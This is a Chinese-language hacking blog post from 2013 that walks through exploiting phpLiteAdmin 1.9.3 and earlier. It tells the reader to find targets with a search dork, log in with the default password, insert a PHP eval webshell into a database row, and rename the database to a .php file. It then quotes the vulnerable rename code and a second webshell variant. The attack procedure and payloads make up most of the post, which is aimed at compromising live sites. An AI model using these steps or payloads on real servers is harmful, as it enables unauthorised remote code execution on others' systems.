关注我们
QRcode 邮件联系 QRcode
主页 » 信息安全 » 正文

phpliteadmin<=1.9.3漏洞登陆代码插入get Webshell

 feng 2013/02/26 17:53  902 ℃  0条点评

作者:小Dの马甲
来自:Silic Group Hacker Army
//BlackBap.Org
漏洞公布:L@usch

I.漏洞利用
原文的作者公布的利用方式不详细,这里给一个详细的利用过程
首先,以

  1. inurl:phpliteadmin.php


为关键字进行搜索
打开结果页面,以默认密码“admin”登陆,然后在左侧“Create New Database [?]”创建一个数据库,名字任意,以”silic”为例
然后到主窗口的“Create new table on database ‘./silic.sqlite’”这里创建表段,Name名字填写”silic”,“Number of Fields:”写1就可以了

在接下来的操作中,Field还填silic,Type选择text,其他不用动,然后点击“creat”创建一个新表
这样,我们就成功的再“silic”数据库创建了一个只有一个字段“silic”的数据表“silic”
此时点击主窗口的“This table is empty. Click here to insert rows.”创建一条新数据

数据内容填写一句话木马

  1. <?php eval($_POST[silic]);?>


最好是不要带引号。

数据插入成功以后,就重命名数据库。因为截图是后来补得,所以上图的步骤是错的
重命名应该点击左侧的“./silic.sqlite”然后再选择主窗口的“Rename Database”
在“Rename database ‘./silic.sqlite’ to”后面的框框里面,写xxxxxx.php,此时有没有发发现原来的silic.sqlite数据库不见了?说明你已经得到了同目录下的webshell的后门了。

II.代码分析
我们先来看一下相关代码:

  1. line:250
  2. ……
  3. //user is renaming a database
  4. if(isset($_GET['database_rename']))
  5. {
  6.         $oldpath = $_POST['oldname'];
  7.         $newpath = $_POST['newname'];
  8.         if(!file_exists($newpath))
  9.         {
  10.                 copy($oldpath, $newpath);
  11.                 unlink($oldpath);
  12.                 $justrenamed = true;
  13.         }
  14.         else
  15.         {
  16.                 $dbexists = true;
  17.         }
  18. }
  19. ……
  20. line:4476
  21. else if($view==”rename”){
  22.         if(isset($dbexists)){
  23.                 echo “<div class=’confirm’>”;
  24.                 if($oldpath==$newpath)
  25.                 echo “Error: You didn’t change the value dumbass.”;
  26.                 else
  27.                 echo “Error: A database of the name ‘”.$newpath.”‘ already exists.”;
  28.                 echo “</div><br/>”;
  29.         }
  30.         if(isset($justrenamed)){
  31.                 echo “<div class=’confirm’>”;
  32.                 echo “Database ‘”.$oldpath.”‘ has been renamed to ‘”.$newpath.”‘.”;
  33.                 echo “</div><br/>”;
  34.         }
  35.         echo “<form action=’”.PAGE.”?view=rename&database_rename=1′ method=’post’>”;
  36.         echo “<input type=’hidden’ name=’oldname’ value=’”.$db->getPath().”‘/>”;
  37.         echo “Rename database ‘”.$db->getPath().”‘ to <input type=’text’ name=’newname’ style=’width:200px;’ value=’”.$db->getPath().”‘/> <input type=’submit’ value=’Rename’ name=’rename’ class=’btn’/>”;
  38.         echo “</form>”;
  39. }

上面代码很浅显啊,$_POST['oldname']和$_POST['newname']都没有做任何处理,就被赋值到了$oldpath和$newpath
最主要的是,代码中直接执行了copy($oldpath, $newpath),直接把数据库文件变成了php文件。

  1. SQLite format 3@
  2. ??+?tablexxxxxxCREATE TABLE xxx(aa TEXT)
  3. ??=<?php eval($_POST[c]);?>


中间各种0000填充,但是没有<>等符号阻挡我们的大PHP一句话解析~
成功~

注:目测到一个撒比插坏了,跟你说别加引号了:

  1. <?php $_GET[\'ts7\']($_POST[\'coupon\']);?>
本文标签:
某招聘网站漏洞小0day
利用post在Ecshop后台getshell的方法
Python工具分析风险数据Python工具分析风险数据批量Webshell管理工具QuasiBot之后门代码分析批量Webshell管理工具QuasiBot之后门代码分析GRON:一款让使JSON可以Grep的工具GRON:一款让使JSON可以Grep的工具年度盘点 | 安全测试者偏爱的安全测试工具年度盘点 | 安全测试者偏爱的安全测试工具

已有0条评论,欢迎点评!

smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley

国际惯例, 沙发拿下 . . .


注册帐号  |  忘记密码